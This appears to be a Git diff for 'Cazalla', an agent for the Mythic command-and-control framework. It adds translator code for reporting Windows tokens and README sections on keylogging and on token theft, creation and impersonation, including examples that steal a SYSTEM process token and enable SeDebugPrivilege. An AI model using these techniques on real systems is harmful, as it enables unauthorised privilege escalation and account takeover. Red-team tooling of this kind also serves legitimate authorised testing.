# Si detectamos una lista de procesos, también incluir el formato para Process Browser
|
# Si detectamos una lista de procesos, también incluir el formato para Process Browser
|
||||||
@@ -900,6 +1117,16 @@ def postResponse(data):
|
|||||||
jsonTask["keylogs"] = keylogs_data
|
jsonTask["keylogs"] = keylogs_data
|
||||||
print(f"[KEYLOG] Total de keylogs agregados: {len(keylogs_data)}")
|
print(f"[KEYLOG] Total de keylogs agregados: {len(keylogs_data)}")
|
||||||
|
|
||||||
|
# Support for tokens: create tokens array from parsed data
|
||||||
|
if len(tokens_data) > 0:
|
||||||
|
jsonTask["tokens"] = tokens_data
|
||||||
|
print(f"[TOKENS] Total de tokens agregados: {len(tokens_data)}")
|
||||||
|
|
||||||
|
# Support for callback tokens: create callback_tokens array from parsed data
|
||||||
|
if len(callback_tokens_data) > 0:
|
||||||
|
jsonTask["callback_tokens"] = callback_tokens_data
|
||||||
|
print(f"[CALLBACK_TOKENS] Total de callback_tokens agregados: {len(callback_tokens_data)}")
|
||||||
|
|
||||||
# Add download information if present
|
# Add download information if present
|
||||||
if download_registration:
|
if download_registration:
|
||||||
jsonTask["download"] = download_registration
|
jsonTask["download"] = download_registration
|
||||||
@@ -936,8 +1163,68 @@ def postResponse(data):
|
|||||||
resTaks.append(jsonTask)
|
resTaks.append(jsonTask)
|
||||||
|
|
||||||
dataJson = {"action": "post_response", "responses": resTaks}
|
dataJson = {"action": "post_response", "responses": resTaks}
|
||||||
|
|
||||||
print(f"Respuesta generada: {json.dumps(dataJson, indent=4)}")
|
# Log response size and token count for debugging
|
||||||
|
json_str = json.dumps(dataJson)
|
||||||
|
print(f"[RESPONSE] Tamaño del JSON: {len(json_str)} bytes")
|
||||||
|
print(f"[RESPONSE] Número de tokens en respuesta: {len(tokens_data)}")
|
||||||
|
print(f"[RESPONSE] Tiene user_output: {'user_output' in jsonTask}")
|
||||||
|
if 'user_output' in jsonTask:
|
||||||
|
print(f"[RESPONSE] Tamaño de user_output: {len(jsonTask['user_output'])} caracteres")
|
||||||
|
|
||||||
|
# Validate token format - check first token if any
|
||||||
|
if len(tokens_data) > 0:
|
||||||
|
first_token = tokens_data[0]
|
||||||
|
print(f"[RESPONSE] Primer token sample - token_id type: {type(first_token.get('token_id'))}, value: {first_token.get('token_id')}")
|
||||||
|
print(f"[RESPONSE] Primer token sample - handle type: {type(first_token.get('handle'))}, value: {first_token.get('handle')}")
|
||||||
|
print(f"[RESPONSE] Primer token sample - restricted type: {type(first_token.get('restricted'))}, value: {first_token.get('restricted')}")
|
||||||
|
print(f"[RESPONSE] Primer token sample - session_id type: {type(first_token.get('session_id'))}, value: {first_token.get('session_id')}")
|
||||||
|
# Check all required fields are present
|
||||||
|
required_fields = ["token_id", "host", "user", "groups", "thread_id", "process_id", "session_id", "restricted", "integrity_level_sid", "app_container_number", "handle"]
|
||||||
|
missing_fields = [field for field in required_fields if field not in first_token]
|
||||||
|
if missing_fields:
|
||||||
|
print(f"[ERROR] Campos faltantes en token: {missing_fields}")
|
||||||
|
else:
|
||||||
|
print(f"[RESPONSE] Todos los campos requeridos están presentes en el primer token")
|
||||||
|
|
||||||
|
print(f"[RESPONSE] Enviando JSON a Mythic...")
|
||||||
|
|
||||||
|
# Try to validate JSON serialization before sending
|
||||||
|
try:
|
||||||
|
json_test = json.dumps(dataJson)
|
||||||
|
print(f"[RESPONSE] JSON serialización exitosa, tamaño: {len(json_test)} bytes")
|
||||||
|
|
||||||
|
# Try to parse it back to ensure it's valid
|
||||||
|
json.loads(json_test)
|
||||||
|
print(f"[RESPONSE] JSON validación exitosa (parseable)")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[ERROR] Problema con JSON: {e}")
|
||||||
|
import traceback
|
||||||
|
traceback.print_exc()
|
||||||
|
|
||||||
|
# Log first few tokens for debugging
|
||||||
|
if len(tokens_data) > 0:
|
||||||
|
print(f"[RESPONSE] Primer token completo: {json.dumps(tokens_data[0], indent=2)}")
|
||||||
|
# Validate token_id is an integer (required)
|
||||||
|
for i, tok in enumerate(tokens_data[:3]): # Check first 3 tokens
|
||||||
|
if "token_id" not in tok:
|
||||||
|
print(f"[ERROR] Token {i} missing token_id!")
|
||||||
|
if not isinstance(tok.get("token_id"), int):
|
||||||
|
print(f"[ERROR] Token {i} token_id is not an integer: {type(tok.get('token_id'))}, value: {tok.get('token_id')}")
|
||||||
|
|
||||||
|
# Log response structure
|
||||||
|
if "responses" in dataJson:
|
||||||
|
for resp in dataJson["responses"]:
|
||||||
|
if "tokens" in resp:
|
||||||
|
print(f"[RESPONSE] Response has {len(resp['tokens'])} tokens")
|
||||||
|
# Check if all tokens have required token_id
|
||||||
|
for i, tok in enumerate(resp["tokens"]):
|
||||||
|
if "token_id" not in tok:
|
||||||
|
print(f"[ERROR] Token {i} in response missing token_id!")
|
||||||
|
if not isinstance(tok.get("token_id"), int):
|
||||||
|
print(f"[ERROR] Token {i} token_id type error: {type(tok.get('token_id'))}")
|
||||||
|
|
||||||
|
print(f"Respuesta generada: {json.dumps(dataJson, indent=4)[:2000]}...") # Truncate huge JSON
|
||||||
|
|
||||||
return dataJson
|
return dataJson
|
||||||
|
|
||||||
|
|||||||
@@ -161,8 +161,19 @@ class cazalla_translator(TranslationContainer):
|
|||||||
print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes")
|
print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes")
|
||||||
|
|
||||||
elif inputMsg.Message["action"] == "post_response":
|
elif inputMsg.Message["action"] == "post_response":
|
||||||
print("Response POSTREP")
|
print("[TRANSLATOR] Response POSTREP recibido de Mythic")
|
||||||
response.Message = responsePosting(inputMsg.Message["responses"]) # base responses
|
print(f"[TRANSLATOR] POSTREP Message keys: {list(inputMsg.Message.keys())}")
|
||||||
|
print(f"[TRANSLATOR] POSTREP Message completo: {json.dumps(inputMsg.Message, indent=2)[:1000]}...")
|
||||||
|
# Handle case where responses might not be present (e.g., error response from Mythic)
|
||||||
|
responses = inputMsg.Message.get("responses", [])
|
||||||
|
if responses:
|
||||||
|
print(f"[TRANSLATOR] POSTREP tiene {len(responses)} respuestas")
|
||||||
|
response.Message = responsePosting(responses) # base responses
|
||||||
|
else:
|
||||||
|
# Empty response or error - send empty acknowledgment
|
||||||
|
print("[WARN] post_response sin 'responses', enviando respuesta vacía")
|
||||||
|
print(f"[WARN] POSTREP Message completo sin responses: {json.dumps(inputMsg.Message, indent=2)}")
|
||||||
|
response.Message = len([]).to_bytes(4, "big") # 0 responses
|
||||||
socks_list = inputMsg.Message.get("socks", [])
|
socks_list = inputMsg.Message.get("socks", [])
|
||||||
if socks_list:
|
if socks_list:
|
||||||
extension = bytearray()
|
extension = bytearray()
|
||||||
|
|||||||
@@ -2,6 +2,30 @@ import base64
|
|||||||
import os
|
import os
|
||||||
|
|
||||||
def getBytesWithSize(data):
|
def getBytesWithSize(data):
|
||||||
size = int.from_bytes(data[0:4])
|
"""
|
||||||
|
Read length-prefixed data.
|
||||||
|
Format: [size:4 bytes big-endian][data:size bytes]
|
||||||
|
Returns: (data_bytes, remaining_bytes)
|
||||||
|
"""
|
||||||
|
if len(data) < 4:
|
||||||
|
print(f"[WARN] getBytesWithSize: datos insuficientes ({len(data)} < 4)")
|
||||||
|
return b"", data
|
||||||
|
|
||||||
|
size = int.from_bytes(data[0:4], 'big') # Explicitly use big-endian
|
||||||
data = data[4:]
|
data = data[4:]
|
||||||
|
|
||||||
|
# Validate size (reasonable limit: 100MB)
|
||||||
|
MAX_REASONABLE_SIZE = 100 * 1024 * 1024
|
||||||
|
if size > MAX_REASONABLE_SIZE:
|
||||||
|
print(f"[WARN] getBytesWithSize: tamaño sospechoso ({size} bytes, max razonable: {MAX_REASONABLE_SIZE})")
|
||||||
|
print(f"[WARN] Primeros 16 bytes (hex): {data[:16].hex()}")
|
||||||
|
# If size is suspicious, maybe it's actually a marker byte
|
||||||
|
# Return empty output and keep all data as remaining
|
||||||
|
return b"", data
|
||||||
|
|
||||||
|
if len(data) < size:
|
||||||
|
print(f"[WARN] getBytesWithSize: tamaño ({size}) mayor que datos disponibles ({len(data)})")
|
||||||
|
# Return what we can and empty remaining
|
||||||
|
return data[:size], b""
|
||||||
|
|
||||||
return data[:size], data[size:]
|
return data[:size], data[size:]
|
||||||
@@ -28,6 +28,7 @@
|
|||||||
- [File Downloads Support](#file-downloads-support)
|
- [File Downloads Support](#file-downloads-support)
|
||||||
- [File Uploads Support](#file-uploads-support)
|
- [File Uploads Support](#file-uploads-support)
|
||||||
- [Keylogging Support](#%EF%B8%8F-keylogging-support)
|
- [Keylogging Support](#%EF%B8%8F-keylogging-support)
|
||||||
|
- [Token Support](#-token-support)
|
||||||
- [Development](#development)
|
- [Development](#development)
|
||||||
- [Troubleshooting](#troubleshooting)
|
- [Troubleshooting](#troubleshooting)
|
||||||
- [Credits](#credits)
|
- [Credits](#credits)
|
||||||
@@ -203,6 +204,16 @@ For more information, see the [Mythic documentation on customizing public agents
|
|||||||
| `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` |
|
| `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` |
|
||||||
| `keylog_start` | Start keystroke logging | `keylog_start` |
|
| `keylog_start` | Start keystroke logging | `keylog_start` |
|
||||||
| `keylog_stop` | Stop keystroke logging | `keylog_stop` |
|
| `keylog_stop` | Stop keystroke logging | `keylog_stop` |
|
||||||
|
| `whoami` | Get current user context (thread token if impersonated, otherwise process token) | `whoami` |
|
||||||
|
|
||||||
|
### Token Operations
|
||||||
|
|
||||||
|
| Command | Description | Example |
|
||||||
|
|---------|-------------|---------|
|
||||||
|
| `list_tokens` | List all available tokens from running processes | `list_tokens` |
|
||||||
|
| `steal_token` | Steal and impersonate token from a target process | `steal_token <pid>` |
|
||||||
|
| `make_token` | Create a new token using credentials and impersonate it | `make_token domain username password [logon_type]` |
|
||||||
|
| `rev2self` | Revert token impersonation back to original token | `rev2self` |
|
||||||
|
|
||||||
**Note**: The `ps` command integrates with Mythic's Process Browser, allowing unified process management across multiple callbacks. Process lists are automatically synchronized and viewable from the Process Browser UI.
|
**Note**: The `ps` command integrates with Mythic's Process Browser, allowing unified process management across multiple callbacks. Process lists are automatically synchronized and viewable from the Process Browser UI.
|
||||||
|
|
||||||
@@ -1183,6 +1194,200 @@ For more information, see the [Mythic Keylog documentation](https://docs.mythic-
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## 🔐 Token Support
|
||||||
|
|
||||||
|
Cazalla supports Windows token manipulation and impersonation, following [Mythic's Token specification](https://docs.mythic-c2.net/customizing/hooking-features/tokens).
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
- **Token Listing**: Enumerate all viewable tokens from running processes
|
||||||
|
- **Token Theft**: Steal tokens from processes to impersonate different users
|
||||||
|
- **Token Creation**: Create new tokens using credentials (domain, username, password)
|
||||||
|
- **Token Impersonation**: Impersonate tokens for subsequent tasking
|
||||||
|
- **Token Revert**: Revert to original token when done impersonating
|
||||||
|
- **Token Tasking**: Use stolen/created tokens for executing commands with different privileges
|
||||||
|
- **SeDebugPrivilege**: Automatically enables `SeDebugPrivilege` for accessing system processes
|
||||||
|
- **Mythic Integration**: Tokens are tracked in Mythic's Token UI and can be selected for tasking
|
||||||
|
|
||||||
|
### How It Works
|
||||||
|
|
||||||
|
Cazalla implements token functionality following Mythic's token specification:
|
||||||
|
|
||||||
|
1. **Token Listing** (`list_tokens`):
|
||||||
|
- Enumerates all running processes
|
||||||
|
- Opens each process token with `OpenProcessToken`
|
||||||
|
- Extracts user information, session ID, and process details
|
||||||
|
- Reports tokens to Mythic using the `tokens` key in `post_response`
|
||||||
|
- Tokens are viewable in Mythic's **Search → Tokens** page
|
||||||
|
- Displays token information including: Token ID, PID, Process name, User, and Session
|
||||||
|
|
||||||
|
2. **Token Theft** (`steal_token <pid>`):
|
||||||
|
- Opens the target process with appropriate access rights
|
||||||
|
- Opens and duplicates the process token
|
||||||
|
- Impersonates the token using `ImpersonateLoggedOnUser`
|
||||||
|
- Registers the token as a `callback_token` for use in subsequent tasking
|
||||||
|
- Reports a "Token Impersonation" artifact
|
||||||
|
- The token becomes available in the Mythic UI for tasking
|
||||||
|
|
||||||
|
3. **Token Creation** (`make_token domain username password [logon_type]`):
|
||||||
|
- Creates a new token using `LogonUserA` with provided credentials
|
||||||
|
- Impersonates the newly created token
|
||||||
|
- Registers the token as a `callback_token` for use in tasking
|
||||||
|
- Reports a "Token Creation" artifact
|
||||||
|
- Default `logon_type` is `9` (LOGON32_LOGON_NEW_CREDENTIALS) if not specified
|
||||||
|
|
||||||
|
4. **Token Revert** (`rev2self`):
|
||||||
|
- Calls `RevertToSelf()` to revert to the original process token
|
||||||
|
- Closes the impersonated token handle
|
||||||
|
- Useful after completing operations with an impersonated token
|
||||||
|
|
||||||
|
5. **Token Tasking**:
|
||||||
|
- When a token is registered as a `callback_token`, it appears in the Mythic UI
|
||||||
|
- You can select a token from the dropdown when issuing tasks
|
||||||
|
- The translator automatically includes the `token_id` in task messages
|
||||||
|
- Commands executed with a selected token run under that token's security context
|
||||||
|
|
||||||
|
### Using Token Commands
|
||||||
|
|
||||||
|
#### List Available Tokens
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# List all viewable tokens from running processes
|
||||||
|
list_tokens
|
||||||
|
```
|
||||||
|
|
||||||
|
Output format:
|
||||||
|
```
|
||||||
|
Token ID: 1 | PID: 76 | Process: smss.exe | User: NT AUTHORITY\SYSTEM | Session: 0
|
||||||
|
Token ID: 2 | PID: 116 | Process: csrss.exe | User: NT AUTHORITY\SYSTEM | Session: 0
|
||||||
|
Token ID: 16 | PID: 1060 | Process: svchost.exe | User: NT AUTHORITY\SYSTEM | Session: 1
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Steal Token from a Process
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Steal token from PID 1060 (SYSTEM process)
|
||||||
|
steal_token 1060
|
||||||
|
```
|
||||||
|
|
||||||
|
After stealing a token:
|
||||||
|
- The agent impersonates the token immediately
|
||||||
|
- The token is registered in Mythic as a `callback_token`
|
||||||
|
- You can verify impersonation with `whoami`
|
||||||
|
- Subsequent commands will run with that token's privileges (if selected in Mythic UI)
|
||||||
|
|
||||||
|
#### Create Token with Credentials
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Create token for domain user
|
||||||
|
make_token DOMAIN username password
|
||||||
|
|
||||||
|
# Create token with specific logon type
|
||||||
|
# Logon types: 2=Interactive, 3=Network, 9=NewCredentials (default)
|
||||||
|
make_token DOMAIN username password 9
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Verify Token Impersonation
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Check current user context (before stealing token)
|
||||||
|
whoami
|
||||||
|
# Output: CETP-WIN11-01\localuser
|
||||||
|
|
||||||
|
# Steal token from SYSTEM process
|
||||||
|
steal_token 1060
|
||||||
|
|
||||||
|
# Check current user context (after stealing token)
|
||||||
|
whoami
|
||||||
|
# Output: NT AUTHORITY\SYSTEM
|
||||||
|
|
||||||
|
# Revert to original token
|
||||||
|
rev2self
|
||||||
|
|
||||||
|
# Check current user context (after reverting)
|
||||||
|
whoami
|
||||||
|
# Output: CETP-WIN11-01\localuser
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Using Tokens for Tasking
|
||||||
|
|
||||||
|
1. Execute `list_tokens` to see available tokens
|
||||||
|
2. Execute `steal_token <pid>` to steal a token (or use `make_token` to create one)
|
||||||
|
3. In the Mythic UI, a dropdown appears next to the tasking bar
|
||||||
|
4. Select a token from the dropdown before issuing commands
|
||||||
|
5. Commands will execute with the selected token's security context
|
||||||
|
|
||||||
|
**Note**: Token selection in Mythic UI is handled automatically by the framework. The translator includes the `token_id` in the task message when a token is selected.
|
||||||
|
|
||||||
|
### Session Considerations
|
||||||
|
|
||||||
|
- **Session 0**: System services and processes run in Session 0
|
||||||
|
- **Session 2+**: User sessions start from Session 2
|
||||||
|
- Some processes may only be accessible if running with administrator privileges
|
||||||
|
- The `EnableSeDebugPrivilege` function is called automatically to access protected processes
|
||||||
|
|
||||||
|
### Implementation Details
|
||||||
|
|
||||||
|
The token system uses:
|
||||||
|
- **SeDebugPrivilege**: Automatically enabled for accessing system processes
|
||||||
|
- **OpenProcessToken**: Opens process tokens with appropriate access rights
|
||||||
|
- **DuplicateTokenEx**: Duplicates tokens for impersonation
|
||||||
|
- **ImpersonateLoggedOnUser**: Impersonates tokens on the current thread
|
||||||
|
- **RevertToSelf**: Reverts to the original process token
|
||||||
|
- **Process Enumeration**: Uses `CreateToolhelp32Snapshot` to enumerate processes
|
||||||
|
- **Token Information**: Uses `GetTokenInformation` and `LookupAccountSidA` to extract user info
|
||||||
|
|
||||||
|
### Error Handling
|
||||||
|
|
||||||
|
Token operations handle various scenarios:
|
||||||
|
- **Access Denied**: Falls back to `PROCESS_QUERY_LIMITED_INFORMATION` if full access fails
|
||||||
|
- **Protected Processes**: Some system processes may require elevated privileges
|
||||||
|
- **Invalid PID**: Validates PID and rejects PIDs 0 and 2 (reserved)
|
||||||
|
- **Token Opening**: Attempts multiple access rights combinations if initial attempt fails
|
||||||
|
- **Privilege Escalation**: Automatically enables `SeDebugPrivilege` when needed
|
||||||
|
|
||||||
|
### Viewing Tokens
|
||||||
|
|
||||||
|
1. Execute `list_tokens` to enumerate tokens
|
||||||
|
2. Navigate to **Search → Tokens** in the Mythic UI
|
||||||
|
3. View all tokens with details:
|
||||||
|
- Token ID (agent-generated unique identifier)
|
||||||
|
- Host (computer name)
|
||||||
|
- User (account name)
|
||||||
|
- Process ID
|
||||||
|
- Session ID
|
||||||
|
- Process name (from `list_tokens` output)
|
||||||
|
4. Tokens registered as `callback_tokens` (via `steal_token` or `make_token`) appear in the tasking dropdown
|
||||||
|
|
||||||
|
### Artifact Support
|
||||||
|
|
||||||
|
Token commands automatically report artifacts:
|
||||||
|
|
||||||
|
- **`steal_token`**: Reports "Token Impersonation" artifact with PID and user information
|
||||||
|
- **`make_token`**: Reports "Token Creation" artifact with domain, username, and logon type
|
||||||
|
|
||||||
|
These artifacts appear in Mythic's Artifacts page when token operations are performed.
|
||||||
|
|
||||||
|
### Verification Tips
|
||||||
|
|
||||||
|
1. **Before and After**: Use `whoami` before and after `steal_token` to verify impersonation
|
||||||
|
2. **Session 0 vs Session 2**: Tokens from Session 0 processes are accessible with administrator privileges
|
||||||
|
3. **Process Names**: Use `list_tokens` to see process names alongside PIDs
|
||||||
|
4. **Token ID**: The `token_id` in `list_tokens` output can be used to identify tokens, but for tasking, Mythic uses the token registered via `callback_tokens`
|
||||||
|
|
||||||
|
### Security Considerations
|
||||||
|
|
||||||
|
- **Token Impersonation**: Allows executing commands with different privileges
|
||||||
|
- **SeDebugPrivilege**: Required for accessing system process tokens
|
||||||
|
- **Token Theft**: Can be detected by security monitoring tools
|
||||||
|
- **Session Isolation**: Tokens from different sessions may have different access rights
|
||||||
|
- **Token Lifetime**: Impersonated tokens remain active until `rev2self` is called
|
||||||
|
|
||||||
|
For more information, see the [Mythic Tokens documentation](https://docs.mythic-c2.net/customizing/hooking-features/tokens).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 🔧 Development
|
## 🔧 Development
|
||||||
|
|
||||||
### Project Structure
|
### Project Structure
|
||||||
|
|||||||
Reference in New Issue
Block a user